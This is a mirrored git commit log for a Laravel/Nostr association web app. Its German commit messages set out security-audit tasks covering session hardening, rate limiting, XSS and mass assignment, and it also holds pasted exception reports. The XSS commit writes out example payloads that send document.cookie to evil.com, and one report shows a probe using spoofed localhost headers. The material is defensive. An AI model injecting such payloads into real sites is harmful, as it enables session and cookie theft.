mirror of
https://github.com/HolgerHatGarKeineNode/einundzwanzig-nostr.git
synced 2026-02-15 03:23:17 +00:00
058612dbe600c47d91bf41feca9fff86b859758d
22 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
058612dbe6 |
[P1 Security] Session Security Hardening – Encryption & Secure Cookies (vibe-kanban 48c2078b)
## Security Audit: Session-Konfiguration härten
### Problem
Die aktuelle `.env.example` hat unsichere Session-Defaults:
```env
SESSION_ENCRYPT=false # Session-Daten unverschlüsselt in der DB
SESSION_SECURE_COOKIE= # Nicht gesetzt – Cookie wird auch über HTTP gesendet
SESSION_DOMAIN=null # Nicht eingeschränkt
```
Da die App eine Custom Nostr-basierte Auth verwendet (`app/Auth/NostrSessionGuard.php`) und der `pubkey` in der Session gespeichert wird, ist die Session ein attraktives Angriffsziel. Unverschlüsselte Sessions in der Datenbank bedeuten, dass ein DB-Leak sofort alle aktiven Sessions kompromittiert.
### Lösung
**1. `.env.example` aktualisieren:**
```env
SESSION_ENCRYPT=true
SESSION_SECURE_COOKIE=true
```
**2. Session-Config in `config/session.php` prüfen:**
Falls `config/session.php` nicht existiert (Laravel 12 Slim-Struktur), muss die Config ggf. mit `php artisan config:publish session` veröffentlicht werden. Prüfe ob die folgenden Werte korrekt gesetzt sind:
```php
'encrypt' => env('SESSION_ENCRYPT', true), // Default auf true ändern
'secure' => env('SESSION_SECURE_COOKIE', true), // Default auf true ändern
'http_only' => true, // Bereits Standard
'same_site' => 'lax', // Bereits Standard
```
**3. Cookie-Sicherheit:**
- `http_only` verhindert JavaScript-Zugriff auf Session-Cookies (Schutz gegen XSS-Cookie-Theft)
- `secure` erzwingt HTTPS-only Übertragung
- `same_site: lax` schützt gegen CSRF bei Top-Level-Navigation
### Betroffene Dateien
- `.env.example` – Default-Werte aktualisieren
- `config/session.php` – Falls vorhanden, Defaults härten. Falls nicht vorhanden, mit `php artisan config:publish session` erstellen und anpassen
### Vorgehen
1. Prüfe ob `config/session.php` existiert (bei Laravel 12 ist es möglicherweise nicht veröffentlicht)
2. Falls nicht vorhanden: `php artisan config:publish session --no-interaction`
3. Sichere Defaults setzen (encrypt=true, secure=true)
4. `.env.example` aktualisieren
5. Einen Pest-Test schreiben, der verifiziert dass Session-Cookies die korrekten Flags haben (secure, httpOnly, sameSite)
6. `vendor/bin/pint --dirty` und `php artisan test --compact`
### Hinweis
- In der lokalen Entwicklung (`APP_ENV=local`) kann `SESSION_SECURE_COOKIE=false` gesetzt werden, damit HTTP funktioniert
- Der Default in der Config sollte aber `true` sein, damit Produktion abgesichert ist
- Die `.env` Datei selbst wird NICHT bearbeitet (nur `.env.example`)
### Akzeptanzkriterien
- `SESSION_ENCRYPT=true` als Default in `.env.example`
- `SESSION_SECURE_COOKIE=true` als Default in `.env.example`
- Session-Config verwendet sichere Defaults
- Tests verifizieren Cookie-Sicherheitsflags
- Lokale Entwicklung bleibt funktional (über `.env` Override)
|
||
|
|
0639c1a656 |
Fix all tests (vibe-kanban bba3e2c9)
Fixe alle tests. Frage mich, wenn du nicht weißt, was zu tun ist. |
||
|
|
9faae15212 |
[P1 Security] Rate Limiting für API-Routes und Livewire-Actions (vibe-kanban e1f85c61)
## Security Audit: Fehlendes Rate Limiting
### Problem
Die Anwendung hat **kein Rate Limiting** auf API-Routes oder Livewire-Actions. Das ermöglicht:
- Brute-Force-Angriffe auf Authentication-Endpoints
- Denial-of-Service durch massenhaftes Aufrufen von API-Endpoints
- Vote-Manipulation durch schnelle, wiederholte Requests
- Ressourcen-Erschöpfung durch unkontrollierte Datenbankabfragen
### Betroffene Endpoints
**API-Routes (`routes/api.php`):**
```php
Route::get('/nostr/profile/{key}', GetProfile::class); // kein Rate Limit
Route::get('/members/{year}', GetPaidMembers::class); // kein Rate Limit
```
**Kritische Livewire-Actions (kein Throttling):**
- Voting auf ProjectProposals (`association/project-support/show`)
- Login via Nostr (`handleNostrLogin`)
- ProjectProposal-Erstellung
- Election Voting
### Lösung
**1. API Rate Limiting in `bootstrap/app.php`:**
Nutze Laravel 12's Middleware-Konfiguration um Rate Limiting zu aktivieren:
```php
->withMiddleware(function (Middleware $middleware) {
$middleware->api(prepend: [
\Illuminate\Routing\Middleware\ThrottleRequests::class.':api',
]);
})
```
Und definiere den `api` Rate Limiter in `app/Providers/AppServiceProvider.php`:
```php
use Illuminate\Cache\RateLimiting\Limit;
use Illuminate\Support\Facades\RateLimiter;
public function boot(): void
{
RateLimiter::for('api', function (Request $request) {
return Limit::perMinute(60)->by($request->ip());
});
}
```
**2. Livewire Action Throttling:**
Nutze Livewire's `#[Throttle]` Attribut auf sensiblen Actions. Suche in der Livewire-Dokumentation nach der korrekten v4-Syntax mit `search-docs`:
- `queries: ['throttle', 'rate limiting']`
- `packages: ['livewire/livewire']`
Wende Throttling an auf:
- Vote-Submit-Methoden in den ProjectSupport-Components
- Login-Handler (`handleNostrLogin` in `WithNostrAuth` Trait)
- ProjectProposal Create/Update Actions
**3. Zusätzlicher Custom Rate Limiter für Voting:**
```php
RateLimiter::for('voting', function (Request $request) {
return Limit::perMinute(10)->by($request->ip());
});
```
### Betroffene Dateien
- `bootstrap/app.php` – Middleware-Konfiguration (Rate Limit Middleware hinzufügen)
- `app/Providers/AppServiceProvider.php` – RateLimiter Definitionen
- `routes/api.php` – Rate Limit Middleware anwenden
- `app/Livewire/Traits/WithNostrAuth.php` – Throttle auf `handleNostrLogin`
- Livewire-Components in `app/Livewire/Association/ProjectSupport/` – Throttle auf Vote/Create Actions
### Vorgehen
1. `search-docs` nutzen für: `['rate limiting', 'throttle']` (Laravel) und `['throttle']` (Livewire)
2. Rate Limiter in AppServiceProvider definieren
3. API-Middleware in `bootstrap/app.php` konfigurieren
4. Livewire-Actions mit Throttle versehen
5. Pest-Tests schreiben, die verifizieren dass Rate Limiting greift (429 Response bei Überschreitung)
6. `vendor/bin/pint --dirty` und `php artisan test --compact`
### Akzeptanzkriterien
- API-Routes geben HTTP 429 nach 60 Requests/Minute zurück
- Voting-Actions sind auf max. 10/Minute limitiert
- Login-Attempts sind throttled
- Tests verifizieren Rate Limiting Verhalten
|
||
|
|
af3090e694 |
[P0 Security] XSS-Schutz – Sanitize ProjectProposal Description Output (vibe-kanban a733735a)
## Security Audit: Cross-Site Scripting (XSS) in ProjectProposal Description
### Problem
In `resources/views/livewire/association/project-support/show.blade.php` Zeile 111 wird User-generierter Content **unescaped** ausgegeben:
```blade
<x-markdown>
{!! $projectProposal->description !!}
</x-markdown>
```
**Angriffsvektor:** Jeder authentifizierte User mit `association_status > 1` und bezahlter Mitgliedschaft kann über `resources/views/livewire/association/project-support/form/create.blade.php` einen ProjectProposal erstellen. Das Feld `description` wird nur mit `required|string|min:5` validiert – kein HTML-Sanitizing. Ein Angreifer kann beliebiges JavaScript injizieren:
```html
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+document.cookie)">
```
Die App nutzt Spatie's `laravel-markdown` (League\CommonMark), das standardmäßig inline HTML **nicht** filtert.
### Lösung
**Option A (empfohlen): HTML Purifier im Markdown-Renderer konfigurieren**
1. In `config/markdown.php` die CommonMark-Konfiguration anpassen, um `allow_unsafe_links` auf `false` zu setzen und `html_input` auf `'escape'` oder `'strip'`
2. Prüfe die aktuelle `config/markdown.php` – dort wird der `Spatie\LaravelMarkdown\MarkdownRenderer` konfiguriert
3. Setze in der CommonMark-Konfiguration:
```php
'commonmark' => [
'html_input' => 'escape', // oder 'strip' – verhindert rohen HTML-Output
'allow_unsafe_links' => false,
],
```
**Option B: Input-Sanitization bei Speicherung**
1. In `app/Livewire/Forms/ProjectProposalForm.php` (oder dem Create-Component) vor dem Speichern den HTML-Content mit `strip_tags()` oder besser einem HTML Purifier bereinigen
2. Das Flux `<flux:editor>` Component erzeugt möglicherweise gültiges HTML – prüfe, welches Format in der DB gespeichert wird
**Option C: Output-Escaping**
1. Ersetze `{!! $projectProposal->description !!}` durch `{{ $projectProposal->description }}` wenn nur Plain-Text benötigt wird
2. Falls Markdown benötigt wird, nutze die sichere Markdown-Rendering-Pipeline
### Betroffene Dateien
- `resources/views/livewire/association/project-support/show.blade.php:111` – XSS-Output
- `resources/views/livewire/association/project-support/form/create.blade.php` – Input ohne Sanitization
- `app/Livewire/Forms/ProjectProposalForm.php` – Validation Rules (falls vorhanden)
- `config/markdown.php` – CommonMark Konfiguration
### Zusätzlich prüfen
Scanne alle anderen `{!! !!}` Stellen in `resources/views/livewire/` (NICHT in `resources/views/flux/` – das sind Framework-Dateien). Aktuell ist nur `show.blade.php:111` betroffen, aber prüfe ob es weitere gibt.
### Vorgehen
1. `config/markdown.php` lesen und die CommonMark-Config auf `'html_input' => 'escape'` setzen
2. Prüfen, ob die Änderung den gewünschten Effekt hat (Markdown wird gerendert, HTML wird escaped)
3. Einen Pest Browser-Test oder Feature-Test schreiben, der verifiziert, dass `<script>` Tags in der Description escaped werden
4. `vendor/bin/pint --dirty` ausführen
5. Bestehende Tests laufen lassen
### Akzeptanzkriterien
- `<script>` und andere HTML-Tags in ProjectProposal descriptions werden escaped oder gestrippt
- Markdown-Formatierung (Bold, Links, Listen) funktioniert weiterhin
- Ein Test verifiziert, dass XSS-Payloads nicht ausgeführt werden
- Keine Regression in der Darstellung bestehender Proposals
|
||
|
|
90288ac20e |
[P0 Security] Mass Assignment Protection – $fillable für alle 18 Models (vibe-kanban 4a764a11)
## Security Audit: Mass Assignment Protection ### Problem Alle 18 Eloquent Models verwenden `protected $guarded = [];` – das bedeutet **kein Schutz** gegen Mass Assignment. Ein Angreifer könnte über manipulierte Requests sensible Felder wie `accepted`, `sats_paid`, `association_status`, `paid` oder `created_by` direkt setzen. ### Betroffene Dateien und empfohlene Änderungen Ersetze in **jedem** der folgenden Models `protected $guarded = [];` durch ein explizites `protected $fillable = [...]` Array. Hier die Analyse pro Model: **Höchstes Risiko (Finanzen & Identity):** 1. **`app/Models/PaymentEvent.php`** – Finanz-kritisch! - Sensible Felder (NICHT fillable): `einundzwanzig_pleb_id`, `year`, `amount`, `event_id`, `paid`, `btc_pay_invoice` - `$fillable` sollte leer oder minimal sein – alle Felder werden programmatisch gesetzt 2. **`app/Models/EinundzwanzigPleb.php`** - Sensible Felder: `association_status`, `application_for`, `nip05_handle` - `$fillable = ['npub', 'pubkey', 'email', 'no_email', 'application_text', 'archived_application_text']` 3. **`app/Models/Vote.php`** - Sensible Felder: `einundzwanzig_pleb_id`, `project_proposal_id`, `value` - `$fillable = ['reason']` – alle anderen Felder müssen programmatisch gesetzt werden 4. **`app/Models/ProjectProposal.php`** - Sensible Felder: `einundzwanzig_pleb_id`, `accepted`, `sats_paid`, `slug` - `$fillable = ['name', 'support_in_sats', 'description', 'website']` 5. **`app/Models/Election.php`** - Sensible Felder: `year`, `candidates`, `end_time` - `$fillable` sollte leer sein – nur Admin-gesteuert **Mittleres Risiko (mit `created_by` auto-fill in boot):** 6. **`app/Models/Venue.php`** – `$fillable = ['name']` (slug & created_by auto-generiert) 7. **`app/Models/MeetupEvent.php`** – `$fillable = ['start']` (meetup_id, created_by, attendees guarded) 8. **`app/Models/CourseEvent.php`** – `$fillable = ['from', 'to']` (course_id, venue_id, created_by guarded) 9. **`app/Models/Course.php`** – `$fillable = ['name', 'description']` (lecturer_id, created_by guarded) 10. **`app/Models/Meetup.php`** – `$fillable = ['name']` (city_id, created_by, slug, github_data, simplified_geojson guarded) 11. **`app/Models/Lecturer.php`** – `$fillable = ['name']` (active, created_by, slug guarded) 12. **`app/Models/City.php`** – `$fillable = ['name']` (country_id, created_by, slug, osm_relation, simplified_geojson guarded) **Niedrigeres Risiko (Lookup/Reference-Daten):** 13. **`app/Models/Event.php`** – `$fillable = []` (alle Felder: event_id, parent_event_id, pubkey, json, type sind extern gesteuert) 14. **`app/Models/RenderedEvent.php`** – `$fillable = []` (event_id, html, profile_image, profile_name alle system-generiert) 15. **`app/Models/Profile.php`** – `$fillable = ['name', 'display_name', 'picture', 'banner', 'website', 'about']` (pubkey, deleted, nip05, lud16, lud06 guarded) 16. **`app/Models/Category.php`** – `$fillable = ['name']` 17. **`app/Models/Country.php`** – `$fillable = ['name']` (code, language_codes guarded) 18. **`app/Models/Notification.php`** – `$fillable = ['name', 'description']` (einundzwanzig_pleb_id, category guarded) ### Vorgehen 1. Jedes Model öffnen und `$guarded = []` durch das oben definierte `$fillable` Array ersetzen 2. Prüfen, ob bestehende `::create()` oder `::update()` Aufrufe noch funktionieren – ggf. müssen explizite Feld-Zuweisungen ergänzt werden 3. Für jedes geänderte Model einen Pest-Test schreiben, der verifiziert, dass Mass Assignment von sensiblen Feldern blockiert wird 4. `vendor/bin/pint --dirty` ausführen 5. Bestehende Tests laufen lassen: `php artisan test --compact` ### Akzeptanzkriterien - Kein Model hat mehr `$guarded = []` - Alle sensiblen Felder (status, paid, accepted, created_by, slug, IDs) sind NICHT in `$fillable` - Bestehende Features funktionieren weiterhin (Tests grün) - Neue Tests verifizieren Mass Assignment Protection |
||
|
|
eb9285d601 |
Fix this (vibe-kanban 0064af70)
## Exception Summary - Class: `TypeError` - Message: `Cannot assign array to property Livewire\Component@anonymous::$fax of type string` - Code: `0` - File: `vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:555` - Timestamp: `2026-02-11T11:10:02+00:00` - Details: This exception was thrown during a HTTP Request. ## HTTP Request - Method: `POST` - URL: `https://verein.einundzwanzig.space/livewire-5c4c7b52/update` - Route: `livewire.update` - Status code: `500` - IP address: `206.237.102.28` ### Request Headers - `content-type: application/json` - `content-length: 1484` - `cookie: XSRF-TOKEN=[342 bytes redacted]; einundzwanzig_verein_session=[342 bytes redacted]` - `sec-fetch-user: ?1` - `sec-fetch-site: none` - `sec-fetch-mode: navigate` - `sec-fetch-dest: document` - `upgrade-insecure-requests: 1` - `connection: keep-alive` - `accept-language: en-US,en;q=0.5` - `accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8` - `user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36` - `accept-encoding: identity` - `host: verein.einundzwanzig.space` ### Request Payload ```json { "_token": "[40 bytes redacted]", "components": [ { "snapshot": "{\"data\": {\"form\": [{\"reason\": \"\", \"check\": false, \"currentPleb\": null}, {\"class\": \"App\\\\Livewire\\\\Forms\\\\ApplicationForm\", \"s\": \"form\"}], \"profileForm\": [{\"email\": \"\", \"nip05Handle\": \"\", \"currentPleb\": null}, {\"class\": \"App\\\\Livewire\\\\Forms\\\\ProfileForm\", \"s\": \"form\"}], \"no\": false, \"showEmail\": true, \"fax\": \"\", \"nip05Verified\": false, \"nip05VerifiedHandle\": null, \"nip05HandleMismatch\": false, \"nip05VerifiedHandles\": [[], {\"s\": \"arr\"}], \"yearsPaid\": [[], {\"s\": \"arr\"}], \"events\": [[], {\"s\": \"arr\"}], \"payments\": null, \"invoiceStatus\": null, \"invoiceStatusLabel\": null, \"invoiceStatusMessage\": null, \"invoiceStatusVariant\": \"info\", \"invoiceExpiresAt\": null, \"invoiceExpiresAtDisplay\": null, \"invoiceExpiresIn\": null, \"amountToPay\": 21000, \"currentYearIsPaid\": false, \"currentPubkey\": null, \"currentPleb\": null, \"qrCode\": null}, \"memo\": {\"id\": \"w62UhlWfdP5hmH873cUk\", \"name\": \"association.profile\", \"path\": \"association/profile\", \"method\": \"GET\", \"release\": \"a-a-a\", \"attributes\": {\"_livewire_component\": \"association.profile\"}, \"children\": [], \"scripts\": [], \"assets\": [], \"errors\": [], \"locale\": \"en\", \"islands\": []}, \"checksum\": \"ef5141c41105681483f6be62494c4717a8d5a43c8c5a07173ea799a2a58d7005\"}", "updates": { "fax": [] }, "calls": [] } ], "_nightwatch_files": [] } ``` ### Authenticated User - Not authenticated for this execution. ## Database Queries (before exception) - Not captured ## Stack Trace (most recent call first) - [0] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->setComponentPropertyAwareOfTypes() at vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:555 - [1] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->setComponentPropertyAwareOfTypes() at vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:455 - [2] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->updateProperty() at vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:426 - [3] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->updateProperties() at vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:188 - [4] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->update() at vendor/livewire/livewire/src/LivewireManager.php:131 - [5] Livewire\\LivewireManager->update() at vendor/livewire/volt/src/LivewireManager.php:35 - [6] Livewire\\Volt\\LivewireManager->update() at vendor/livewire/livewire/src/Mechanisms/HandleRequests/HandleRequests.php:123 - [7] Livewire\\Mechanisms\\HandleRequests\\HandleRequests->handleUpdate() at vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php:46 - [8] Illuminate\\Routing\\ControllerDispatcher->dispatch() at vendor/laravel/framework/src/Illuminate/Routing/Route.php:265 - [9] Illuminate\\Routing\\Route->runController() at vendor/laravel/framework/src/Illuminate/Routing/Route.php:211 - [10] Illuminate\\Routing\\Route->run() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:822 - [11] Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:180 - [12] Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}() at vendor/laravel/nightwatch/src/Hooks/RouteMiddleware.php:34 - [13] Laravel\\Nightwatch\\Hooks\\RouteMiddleware->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [14] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php:50 - [15] Illuminate\\Routing\\Middleware\\SubstituteBindings->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [16] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php:87 - [17] Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [18] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php:48 - [19] Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [20] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:120 - [21] Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest() at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:63 - [22] Illuminate\\Session\\Middleware\\StartSession->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [23] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php:36 - [24] Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [25] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php:74 - [26] Illuminate\\Cookie\\Middleware\\EncryptCookies->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [27] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137 - [28] Illuminate\\Pipeline\\Pipeline->then() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:821 - [29] Illuminate\\Routing\\Router->runRouteWithinStack() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:800 - [30] Illuminate\\Routing\\Router->runRoute() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:764 - [31] Illuminate\\Routing\\Router->dispatchToRoute() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:753 - [32] Illuminate\\Routing\\Router->dispatch() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:200 - [33] Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:180 - [34] Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}() at vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php:19 - [35] Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [36] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21 - [37] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php:31 - [38] Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [39] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21 - [40] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php:51 - [41] Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [42] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php:27 - [43] Illuminate\\Http\\Middleware\\ValidatePostSize->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [44] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php:109 - [45] Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [46] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php:48 - [47] Illuminate\\Http\\Middleware\\HandleCors->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [48] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php:58 - [49] Illuminate\\Http\\Middleware\\TrustProxies->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [50] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php:22 - [51] Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [52] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php:26 - [53] Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [54] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/nightwatch/src/Hooks/GlobalMiddleware.php:53 - [55] Laravel\\Nightwatch\\Hooks\\GlobalMiddleware->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [56] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137 - [57] Illuminate\\Pipeline\\Pipeline->then() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:175 - [58] Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter() at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:144 - [59] Illuminate\\Foundation\\Http\\Kernel->handle() at vendor/laravel/framework/src/Illuminate/Foundation/Application.php:1220 - [60] Illuminate\\Foundation\\Application->handleRequest() at public/index.php:17 ## Code Context - Not captured ## Occurrence Statistics - First seen: `2026-02-02T01:38:48+00:00` - Last seen: `2026-02-11T11:10:02+00:00` - Occurrences (last 24 hours): `3` - Occurrences (last 7 days): `3` - Users affected: `0` |
||
|
|
3c0cc2d07d |
Fix this (vibe-kanban 762adfe2)
## Exception Summary - Class: `Illuminate\Database\QueryException` - Message: \`SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type bigint: "\*" CONTEXT: unnamed portal parameter $1 = '...' (Connection: pgsql, Host: 127.0.0.1, Port: 5432, Database: verein, SQL: select \* from "media" where "id" = \* limit 1)\` - Code: `22P02` - File: `vendor/laravel/framework/src/Illuminate/Database/Connection.php:838` - Timestamp: `2026-02-10T16:08:30+00:00` - Details: This exception was thrown during a HTTP Request. ## HTTP Request - Method: `GET` - URL: `https://verein.einundzwanzig.space/media/*` - Route: `media.signed` - Status code: `500` - IP address: `185.177.72.51` ### Request Headers - `x-forwared: 127.0.0.1` - `x-host: 127.0.0.1` - `x-azure-socketip: 127.0.0.1` - `x-azure-clientip: 127.0.0.1` - `true-client-ip: 127.0.0.1` - `x-client-ip: 127.0.0.1` - `x-originating-ip: 127.0.0.1` - `x-real-ip: 127.0.0.1` - `x-forwarded-for: 127.0.0.1` - `accept-language: en-US,en;q=0.9` - `accept-encoding: gzip` - `accept: */*` - `user-agent: curl/8.7.1` - `host: verein.einundzwanzig.space` ### Authenticated User - Not authenticated for this execution. ## Database Queries (before exception) - Not captured ## Stack Trace (most recent call first) - [0] Illuminate\\Database\\Connection->runQueryCallback() at vendor/laravel/framework/src/Illuminate/Database/Connection.php:838 - [1] Illuminate\\Database\\Connection->runQueryCallback() at vendor/laravel/framework/src/Illuminate/Database/Connection.php:794 - [2] Illuminate\\Database\\Connection->run() at vendor/laravel/framework/src/Illuminate/Database/Connection.php:411 - [3] Illuminate\\Database\\Connection->select() at vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:3368 - [4] Illuminate\\Database\\Query\\Builder->runSelect() at vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:3353 - [5] Illuminate\\Database\\Query\\Builder->{closure:Illuminate\\Database\\Query\\Builder::get():3352}() at vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:3943 - [6] Illuminate\\Database\\Query\\Builder->onceWithColumns() at vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:3352 - [7] Illuminate\\Database\\Query\\Builder->get() at vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php:902 - [8] Illuminate\\Database\\Eloquent\\Builder->getModels() at vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php:884 - [9] Illuminate\\Database\\Eloquent\\Builder->get() at vendor/laravel/framework/src/Illuminate/Database/Concerns/BuildsQueries.php:366 - [10] Illuminate\\Database\\Eloquent\\Builder->first() at vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php:2209 - [11] Illuminate\\Database\\Eloquent\\Model->resolveRouteBinding() at vendor/laravel/framework/src/Illuminate/Routing/ImplicitRouteBinding.php:60 - [12] Illuminate\\Routing\\ImplicitRouteBinding::resolveForRoute() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:980 - [13] Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::substituteImplicitBindings():980}() at vendor/livewire/livewire/src/Features/SupportPageComponents/SupportPageComponents.php:215 - [14] Livewire\\Features\\SupportPageComponents\\SupportPageComponents::{closure:Livewire\\Features\\SupportPageComponents\\SupportPageComponents::resolvePageComponentRouteBindings():207}() at [internal function] - [15] call\_user\_func() at vendor/laravel/framework/src/Illuminate/Routing/Router.php:982 - [16] Illuminate\\Routing\\Router->substituteImplicitBindings() at vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php:41 - [17] Illuminate\\Routing\\Middleware\\SubstituteBindings->handle() at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219 - [18] 